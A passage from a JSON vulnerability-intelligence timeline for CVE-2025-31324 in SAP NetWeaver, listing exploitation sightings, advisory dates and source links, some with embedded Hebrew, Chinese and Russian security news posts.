\u05dc\u05e2\u05d5\u05dc\u05dd.\n\n\u05d4\u05e4\u05e8\u05e6\u05d4, CVE-2025-31324, \u05de\u05d0\u05e4\u05e9\u05e8\u05ea \u05d4\u05e2\u05dc\u05d0\u05ea \u05e7\u05d1\u05e6\u05d9\u05dd \u05d6\u05d3\u05d5\u05e0\u05d9\u05d9\u05dd \u05dc\u05dc\u05d0 \u05e6\u05d5\u05e8\u05da \u05d1\u05d0\u05d9\u05de\u05d5\u05ea, \u05de\u05d4 \u05e9\u05e2\u05dc\u05d5\u05dc \u05dc\u05d4\u05d5\u05d1\u05d9\u05dc \u05dc\u05d4\u05e8\u05e6\u05ea \u05e7\u05d5\u05d3 \u05de\u05e8\u05d7\u05d5\u05e7 \u05d5\u05dc\u05d4\u05e9\u05ea\u05dc\u05d8\u05d5\u05ea \u05de\u05dc\u05d0\u05d4 \u05e2\u05dc \u05d4\u05de\u05e2\u05e8\u05db\u05ea. \n\u05d7\u05d1\u05e8\u05d5\u05ea \u05d0\u05d1\u05d8\u05d7\u05d4 \u05d3\u05d9\u05d5\u05d5\u05d7\u05d5 \u05db\u05d9 \u05d4\u05ea\u05d5\u05e7\u05e4\u05d9\u05dd \u05e0\u05d9\u05e6\u05dc\u05d5 \u05d0\u05ea \u05d4\u05e4\u05e8\u05e6\u05d4 \u05dc\u05d4\u05e2\u05dc\u05d0\u05ea \u05e0\u05d5\u05d6\u05e7\u05d5\u05ea \u05e9\u05d5\u05e0\u05d5\u05ea \u05d1\u05d0\u05e8\u05d2\u05d5\u05e0\u05d9\u05dd.\n\n\u05d7\u05d1\u05e8\u05ea SAP \u05e4\u05e8\u05e1\u05de\u05d4 \u05e2\u05d3\u05db\u05d5\u05df \u05d7\u05d9\u05e8\u05d5\u05dd \u05dc\u05ea\u05d9\u05e7\u05d5\u05df \u05d4\u05e4\u05e8\u05e6\u05d4 \u05d5\u05de\u05de\u05dc\u05d9\u05e6\u05d4 \u05dc\u05dc\u05e7\u05d5\u05d7\u05d5\u05ea \u05dc\u05d4\u05ea\u05e7\u05d9\u05df \u05d0\u05d5\u05ea\u05d5 \u05d1\u05d4\u05e7\u05d3\u05dd. \n\n\u05e4\u05e8\u05d8\u05d9\u05dd \u05e0\u05d5\u05e1\u05e4\u05d9\u05dd - \u05db\u05d0\u05df\n\nhttps://t.me/CyberSecurityIL/7011\n\n#\u05d7\u05d5\u05dc\u05e9\u05d5\u05ea", "url": "https://t.me/CyberSecurityIL/68875"}, {"timestamp": "2025-04-27T16:31:10.670Z", "date_only": false, "value": "2025-04-27T16:31:10.670545Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lnsofzevbk2t", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "92efd3ad-ec83-45cc-b7c1-edff1b3a1a12", "url": "https://bsky.app/profile/shadowserver.bsky.social/post/3lnsofzevbk2t"}, {"timestamp": "2025-04-27T16:31:12.229Z", "date_only": false, "value": "2025-04-27T16:31:12.229394Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lnsog3rt6s2t", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "aa6dcb50-6b3c-46a9-8e47-28cb5dab3eef", "url": "https://bsky.app/profile/shadowserver.bsky.social/post/3lnsog3rt6s2t"}, {"timestamp": "2025-04-27T16:31:13.902Z", "date_only": false, "value": "2025-04-27T16:31:13.902791Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/shadowserver.bsky.social/post/3lnsog3ru622t", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f25e6449-c93a-4170-adbd-f1f9832a6162", "url": "https://bsky.app/profile/shadowserver.bsky.social/post/3lnsog3ru622t"}, {"timestamp": "2025-04-27T16:31:56.722Z", "date_only": false, "value": "2025-04-27T16:31:56.722998Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/shadowserver/statuses/114410882026685403", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "2f88eaa7-0bc6-4fc7-aac7-c8e222d9848e", "url": "https://infosec.exchange/users/shadowserver/statuses/114410882026685403"}, {"timestamp": "2025-04-27T19:01:06.872Z", "date_only": false, "value": "2025-04-27T19:01:06.872457Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3lnswsb7n6w2e", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f343a275-a810-4cfc-b91c-950292b4a944", "url": "https://bsky.app/profile/undercode.bsky.social/post/3lnswsb7n6w2e"}, {"timestamp": "2025-04-27T20:38:26.394Z", "date_only": false, "value": "2025-04-27T20:38:26.394212Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3lnt4ad6w5s2x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4fe69798-67f3-4052-a298-c36227ed6a1f", "url": "https://bsky.app/profile/hacker.at.thenote.app/post/3lnt4ad6w5s2x"}, {"timestamp": "2025-04-27T21:02:14.252Z", "date_only": false, "value": "2025-04-27T21:02:14.252397Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lnt5kuyhfr2a", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "dba53b96-c0a4-4cc4-8a95-ff81afede309", "url": "https://bsky.app/profile/beikokucyber.bsky.social/post/3lnt5kuyhfr2a"}, {"timestamp": "2025-04-27T22:21:09Z", "date_only": false, "value": "2025-04-27T22:21:09+00:00", "kind": "kev", "label": "Asserted", "source": "shadowserver", "record": "CVE-2025-31324", "field": "timestamps.asserted_at", "uuid": "aecafc14-6972-4095-82f7-ccba5b13b096", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-04-27T22:21:09Z", "date_only": false, "value": "2025-04-27T22:21:09+00:00", "kind": "kev", "label": "First seen", "source": "shadowserver", "record": "CVE-2025-31324", "field": "timestamps.first_seen_at", "uuid": "aecafc14-6972-4095-82f7-ccba5b13b096", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2025-04-28T00:00:00Z", "date_only": false, "value": "2025-04-28T00:00:00", "kind": "milestone", "label": "Published", "source": "certfr_alerte \u00b7 CERTFR-2025-ALE-005", "record": "CERTFR-2025-ALE-005", "field": "initial_release_date"}, {"timestamp": "2025-04-28T00:00:00Z", "date_only": false, "value": "2025-04-28T00:00:00.000000", "kind": "other", "label": "Revision date", "source": "certfr_alerte \u00b7 CERTFR-2025-ALE-005", "record": "CERTFR-2025-ALE-005", "field": "revisions.0.revision_date"}, {"timestamp": "2025-04-28T01:37:24Z", "date_only": false, "value": "2025-04-28T01:37:24.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/34482", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "835cf768-002b-45c1-bb1f-a19d2e767f83", "content": "GitHub\u76d1\u63a7\u6d88\u606f\u63d0\u9192\uff01\uff01\uff01 \n\n\u66f4\u65b0\u4e86\uff1aCVE-2025\n\u63cf\u8ff0\uff1aSAP PoC para CVE-2025-31324\nURL\uff1ahttps://github.com/moften/CVE-2025-31324\n\n\u6807\u7b7e\uff1a#CVE-2025", "url": "https://t.me/GithubRedTeam/34482"}, {"timestamp": "2025-04-28T02:17:42.138Z", "date_only": false, "value": "2025-04-28T02:17:42.138146Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3lntp6yc5vi2o", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d13e8a8f-d836-4914-8374-aa6b3b1587e8", "url": "https://bsky.app/profile/pmloik.bsky.social/post/3lntp6yc5vi2o"}, {"timestamp": "2025-04-28T07:35:57Z", "date_only": false, "value": "2025-04-28T07:35:57.000000Z", "kind": "sighting", "label": "Seen", "source": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0119", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "14c67d51-7326-494b-ac1d-ba2034ac8406", "url": "https://advisories.ncsc.nl/advisory?id=NCSC-2025-0119"}, {"timestamp": "2025-04-28T08:19:12Z", "date_only": false, "value": "2025-04-28T08:19:12.000000Z", "kind": "sighting", "label": "Exploited", "source": "https://t.me/kasperskyb2b/1717", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f9e5b269-b715-405e-989c-83ca57906665", "content": "\ud83d\udfe2 \u0418\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u044b\u0435 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f APT \u0438 \u043d\u043e\u0432\u043e\u0441\u0442\u0438 \u0418\u0411 \u0437\u0430 \u043d\u0435\u0434\u0435\u043b\u044e\n\n\u25b6\ufe0f\u041c\u0430\u0441\u0448\u0442\u0430\u0431\u043d\u044b\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u043e\u0432\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 Lazarus, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0435\u0439 \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435 SyncHole. \u0410\u0442\u0430\u043a\u0430 \u0431\u044b\u043b\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0430 \u043d\u0430 \u044e\u0436\u043d\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u0438\u0435 \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0434\u0432\u0443\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f\u0445, \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0434\u043b\u044f \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0433\u043e\u0441\u0441\u0430\u0439\u0442\u0430\u043c: Innorix Agent \u0438 Cross EX. \u041f\u0435\u0440\u0432\u043e\u043d\u0430\u0447\u0430\u043b\u044c\u043d\u043e\u0435 \u0437\u0430\u0440\u0430\u0436\u0435\u043d\u0438\u0435 \u2014 watering hole \u043d\u0430 \u043a\u043e\u0440\u0435\u0439\u0441\u043a\u0438\u0445 \u043d\u043e\u0432\u043e\u0441\u0442\u043d\u044b\u0445 \u0441\u0430\u0439\u0442\u0430\u0445.\n\n\ud83d\udfe2\u0414\u0440\u0443\u0433\u0430\u044f \u0430\u0442\u0430\u043a\u0430, \u043d\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u043d\u043e \u0442\u0435 \u0436\u0435 \u0443\u0447\u0430\u0441\u0442\u043d\u0438\u043a\u0438 \u2014 \u0440\u0430\u0437\u0431\u043e\u0440 \u043d\u043e\u0432\u043e\u0439 \u043a\u0430\u043c\u043f\u0430\u043d\u0438\u0438 APT Konni.\n\n\ud83d\udfe2\u0410 \u0441\u043c\u0435\u0436\u043d\u0438\u043a\u0438 \u0438\u0437 TraiderTraitor \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043a\u0440\u0438\u043f\u0442\u043e\u0442\u0440\u0435\u0439\u0434\u0435\u0440\u043e\u0432 \u0412\u041f\u041e GopherGrabber.\n\n\ud83d\udfe2\u041e\u0431\u0437\u043e\u0440 \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043f\u0435\u0440\u0432\u043e\u0433\u043e \u043a\u0432\u0430\u0440\u0442\u0430\u043b\u0430 \u2014 \u0432\u0441\u0435\u0433\u043e \u0442\u0430\u043a\u0438\u0445 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e 159 \u0448\u0442\u0443\u043a, 28% \u0441\u0442\u0430\u043b\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0442\u0435\u0447\u0435\u043d\u0438\u0435 \u0434\u043d\u044f \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f. \n\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u043e\u0440 \u043d\u043e\u0432\u044b\u0445 \u0441\u043f\u043e\u0441\u043e\u0431\u043e\u0432 \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0438 Lumma stealer, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a \u0444\u0430\u043b\u044c\u0448\u0438\u0432\u0430\u044f \u043a\u0430\u043f\u0447\u0430 (ClickFix).\n\n\ud83d\udfe2\u0414\u0435\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043e\u043f\u0438\u0441\u0430\u043d\u0438\u0435 \u044d\u0432\u043e\u043b\u044e\u0446\u0438\u0438 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u043e \u043c\u043e\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0439 \u0433\u0440\u0443\u043f\u043f\u0438\u0440\u043e\u0432\u043a\u0438, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u043e\u0439 \u043a\u0430\u043a Watch Wolf \u0438 \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0434\u044f\u0449\u0435\u0439 \u043e\u0442 \u043f\u0435\u0447\u0430\u043b\u044c\u043d\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0433\u043e Buhtrap (pdf).\n\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u043e\u0440 \u0432\u0435\u0431-\u0448\u0435\u043b\u043b\u0430 \u0438 \u0438\u043c\u043f\u043b\u0430\u043d\u0442\u0430 DslogdRAT, \u0443\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u043c\u044b\u0445 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u043e\u043b\u043d\u044b \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\u0438 CVE-2025-0282 \u0432 Ivanti Connect Secure.\n\n\ud83d\udfe2APT \u0441 \u043f\u0440\u0435\u043a\u0440\u0430\u0441\u043d\u044b\u043c \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u0435\u043c Void Dokkaebi, \u044f\u043a\u043e\u0431\u044b \u0441\u0435\u0432\u0435\u0440\u043e\u043a\u043e\u0440\u0435\u0439\u0441\u043a\u0430\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0432 \u0441\u0432\u043e\u0435\u0439 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0440\u043e\u0441\u0441\u0438\u0439\u0441\u043a\u0438\u0435 IP.\n\n\ud83d\udfe2\u0413\u0438\u0433\u0430\u043d\u0442\u0441\u043a\u0430\u044f \u0443\u0442\u0435\u0447\u043a\u0430 \u0441 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f WorkComposer, \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043b\u044f \u0441\u043b\u0435\u0436\u043a\u0438 \u0437\u0430 \u044d\u0444\u0444\u0435\u043a\u0442\u0438\u0432\u043d\u043e\u0441\u0442\u044c\u044e \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u043a\u043e\u0432. 200 \u0442\u044b\u0441\u044f\u0447 \u0436\u0435\u0440\u0442\u0432, 21 \u043c\u0438\u043b\u043b\u0438\u043e\u043d \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u0432. \u0425\u043e\u0442\u044c Composer \u043d\u0430\u0437\u043e\u0432\u0438\u0442\u0435 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0435, \u0445\u043e\u0442\u044c Recall, \u043d\u043e \u0440\u0438\u0441\u043a\u0438 \u043c\u0430\u0441\u0441\u043e\u0432\u043e\u0433\u043e \u0445\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u043a\u0440\u0438\u043d\u0448\u043e\u0442\u043e\u0432 \u043a\u0430\u0436\u0443\u0442\u0441\u044f \u0440\u0435\u0434\u0430\u043a\u0446\u0438\u0438 \u043d\u0435\u043e\u043f\u0440\u0430\u0432\u0434\u0430\u043d\u043d\u044b\u043c\u0438 \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u043f\u0435\u0440\u0432\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435. \n\n\ud83d\udfe2\u0412 \u0440\u0435\u0430\u043b\u044c\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u0430 CVE-2025-31324 \u0432 SAP NetWeaver Visual Composer \u0441 CVSS 10. \u041f\u0430\u0442\u0447 \u0434\u043b\u044f \u043d\u0435\u0451 \u0432\u044b\u043f\u0443\u0449\u0435\u043d 24 \u0430\u043f\u0440\u0435\u043b\u044f.\n\n\ud83d\udfe2\u0420\u0430\u0437\u0431\u043e\u0440 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0445 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u0431\u0438\u043b\u0434\u0435\u0440\u0430 Bulldog backdoor, \u043a \u043a\u043e\u0442\u043e\u0440\u043e\u043c\u0443 \u0430\u0432\u0442\u043e\u0440\u044b \u043e\u0442\u0447\u0451\u0442\u0430 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043f\u0440\u0438 \u0430\u043d\u0430\u043b\u0438\u0437\u0435 \u0434\u0435\u044f\u0442\u0435\u043b\u044c\u043d\u043e\u0441\u0442\u0438 APT Shedding Zmiy.\n\n\ud83d\udfe2\u041d\u0435\u043f\u043b\u043e\u0445\u043e\u0439 \u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0439 \u0440\u0435\u0433\u0443\u043b\u044f\u0442\u043e\u0440\u0430: \u0431\u0440\u0438\u0442\u0430\u043d\u0441\u043a\u0438\u0439 Ofcom \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u043b \u043c\u0435\u0441\u0442\u043d\u044b\u043c \u0442\u0435\u043b\u0435\u043a\u043e\u043c-\u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c \u0441\u0434\u0430\u0432\u0430\u0442\u044c \u0432 \u0430\u0440\u0435\u043d\u0434\u0443 Global Titles. \u042d\u0442\u0438 \u0432\u043d\u0443\u0442\u0440\u0438\u0441\u0435\u0442\u0435\u0432\u044b\u0435 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u044b \u0447\u0430\u0441\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 SS7, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u0434\u043b\u044f \u043f\u0435\u0440\u0435\u0445\u0432\u0430\u0442\u0430 SMS \u0441 \u043a\u043e\u0434\u0430\u043c\u0438 2FA.\n\n\ud83d\udfe2\u0422\u0435\u043c \u0432\u0440\u0435\u043c\u0435\u043d\u0435\u043c \u0432 \u0420\u0424 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u0430 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u043e\u0432 \u0434\u043e\u043c\u0435\u043d\u043e\u0432 \u0447\u0435\u0440\u0435\u0437 \u0413\u043e\u0441\u0443\u0441\u043b\u0443\u0433\u0438.\n\n\ud83d\udfe2\u0410\u043d\u0430\u043b\u0438\u0437 \u043d\u0430\u0431\u0438\u0440\u0430\u044e\u0449\u0435\u0433\u043e \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u0441\u0442\u044c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043b\u044c\u0449\u0438\u043a\u0430 PE32. \u041f\u0440\u0438\u043c\u0435\u0447\u0430\u0442\u0435\u043b\u0435\u043d \u0442\u0435\u043c, \u0447\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u043a\u0430\u043a \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u043d\u0430 \u043e\u0431\u044b\u0447\u043d\u044b\u0445 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u0442\u0430\u043a \u0438 \u043d\u0430 \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u0435 \u043c\u0438\u0448\u0435\u043d\u0438 \u2014 \u0441 \u043d\u0438\u0445 \u043f\u0440\u043e\u0441\u0442\u043e \u0431\u0435\u0440\u0443\u0442 \u0440\u0430\u0437\u043d\u044b\u0435 \u0441\u0443\u043c\u043c\u044b \u0434\u0435\u043d\u0435\u0433. \u0423\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u0447\u0435\u0440\u0435\u0437 Telegram.\u00a0\u00a0 \n\n\ud83d\udfe2\u041a\u0440\u0443\u043f\u043d\u043e\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0438\u0448\u043a\u0438\u0442\u0430 Darcula, \u043f\u043e\u0434 \u043a\u0430\u043f\u043e\u0442\u043e\u043c \u0431\u043e\u043b\u044c\u0448\u0435 \u0418\u0418-\u0444\u0443\u043d\u043a\u0446\u0438\u0439, \u0443\u043f\u0440\u043e\u0449\u0430\u044e\u0449\u0438\u0445 \u043f\u0435\u0440\u0435\u0432\u043e\u0434 \u0444\u0438\u0448\u0438\u043d\u0433\u043e\u0432\u044b\u0445 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 \u043d\u0430 \u043d\u043e\u0432\u044b\u0435 \u044f\u0437\u044b\u043a\u0438 \u0438 \u0430\u0434\u0430\u043f\u0442\u0430\u0446\u0438\u044e \u0438\u0445 \u0441\u0442\u0438\u043b\u044f.\n\n\u2757\ufe0f \u041d\u043e\u0432\u0430\u044f \u0432\u0435\u0440\u0441\u0438\u044f \u043e\u043f\u0430\u0441\u043d\u043e\u0433\u043e Android-\u0442\u0440\u043e\u044f\u043d\u0446\u0430 Triada \u043e\u0431\u0437\u0430\u0432\u0435\u043b\u0430\u0441\u044c \u043c\u043e\u0434\u0443\u043b\u044f\u043c\u0438 \u00ab\u043f\u043e\u0434\u0434\u0435\u0440\u0436\u043a\u0438\u00bb \u0434\u043b\u044f Telegram, WhatsApp, TikTok \u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439. \u0413\u043b\u0430\u0432\u043d\u043e\u0435 \u0444\u0438\u0440\u043c\u0435\u043d\u043d\u043e\u0435 \u0431\u043b\u044e\u0434\u043e \u0441\u043d\u043e\u0432\u0430 \u0432 \u043c\u0435\u043d\u044e \u2014 \u0442\u0440\u043e\u044f\u043d \u043f\u0440\u0435\u0434\u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d \u0432 \u0437\u0430\u0432\u043e\u0434\u0441\u043a\u0443\u044e \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0443 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n#APT #\u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442 #\u043d\u043e\u0432\u043e\u0441\u0442\u0438 @\u041f2\u0422", "url": "https://t.me/kasperskyb2b/1717"}, {"timestamp": "2025-04-28T09:00:07Z", "date_only": false, "value": "2025-04-28T09:00:07.000000Z", "kind": "sighting", "label": "Published proof of concept", "source": "Telegram/hwxTPI13zjfOP4QVdjfyo4btTJ66KygK04v-mdNXcVwmgy0", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "f3449d1e-81c2-4c44-92fd-f3aefd237b1e"}, {"timestamp": "2025-04-28T09:35:57.213Z", "date_only": false, "value": "2025-04-28T09:35:57.213875Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2025-0119", "record": "NCSC-2025-0119", "field": "document.tracking.revision_history.2.date"}, {"timestamp": "2025-04-28T09:54:08.574Z", "date_only": false, "value": "2025-04-28T09:54:08.574424Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/helpnetsecurity.com/post/3lnuip2yhy22e", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "e9e839a6-2ef1-439c-9491-5595383c7ddb", "url": "https://bsky.app/profile/helpnetsecurity.com/post/3lnuip2yhy22e"}, {"timestamp": "2025-04-28T10:05:32.850Z", "date_only": false, "value": "2025-04-28T10:05:32.850572Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lnuj4zkpzvl2", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "f42f3f4a-0ee6-494b-bb02-7834a3aa920c", "url": "https://bsky.app/profile/jos1264.social.skynetcloud.site.ap.brid.gy/post/3lnuj4zkpzvl2"}, {"timestamp": "2025-04-28T12:23:11Z", "date_only": false, "value": "2025-04-28T12:23:11.000000Z", "kind": "sighting", "label": "Seen", "source": "https://threatintel.cc/2025/04/28/active-exploitation-of-sap-netweaver.html", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4cdc156e-02f8-4d7c-81e0-549e7fcf9b8c", "url": "https://threatintel.cc/2025/04/28/active-exploitation-of-sap-netweaver.html"}, {"timestamp": "2025-04-28T12:29:26.860Z", "date_only": false, "value": "2025-04-28T12:29:26.860605Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/catc0n.bsky.social/post/3lnuretwx3k2m", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "7c47094c-0687-498d-bb6c-457896047e2b", "url": "https://bsky.app/profile/catc0n.bsky.social/post/3lnuretwx3k2m"}, {"timestamp": "2025-04-28T12:32:33.733Z", "date_only": false, "value": "2025-04-28T12:32:33.733079Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/catc0n/statuses/114415603103938432", "record": "cve-2025-31324", "field": "creation_timestamp", "uuid": "6d0f4957-7f3e-432d-8f0f-d32db1d8575a", "url": "https://infosec.exchange/users/catc0n/statuses/114415603103938432"}, {"timestamp": "2025-04-28T13:12:37.016Z", "date_only": false, "value": "2025-04-28T13:12:37.016197Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/rapid7.com/post/3lnutryxnfs2x", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "d66c9802-b018-4561-983b-930025b9e734", "url": "https://bsky.app/profile/rapid7.com/post/3lnutryxnfs2x"}, {"timestamp": "2025-04-28T13:20:06.467Z", "date_only": false, "value": "2025-04-28T13:20:06.467233Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/insightsintothings.com/post/3lnuu7ffja22v", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "17ba45f2-e71a-4c51-9760-317acdd9e364", "url": "https://bsky.app/profile/insightsintothings.com/post/3lnuu7ffja22v"}, {"timestamp": "2025-04-28T13:54:25.353Z", "date_only": false, "value": "2025-04-28T13:54:25.353295Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lnuw4synrk2m", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "2bf1cfc5-1309-463d-915d-a58b5a7d3d24", "url": "https://bsky.app/profile/infosec.skyfleet.blue/post/3lnuw4synrk2m"}, {"timestamp": "2025-04-28T14:01:43.334Z", "date_only": false, "value": "2025-04-28T14:01:43.334243Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/crowdsec.bsky.social/post/3lnuwjmxpb22d", "record": "CVE-2025-31324", "field": "creation_timestamp", "uuid": "4fc80642-e032-4dc9-a6c8-c2bdd648759f", "url": 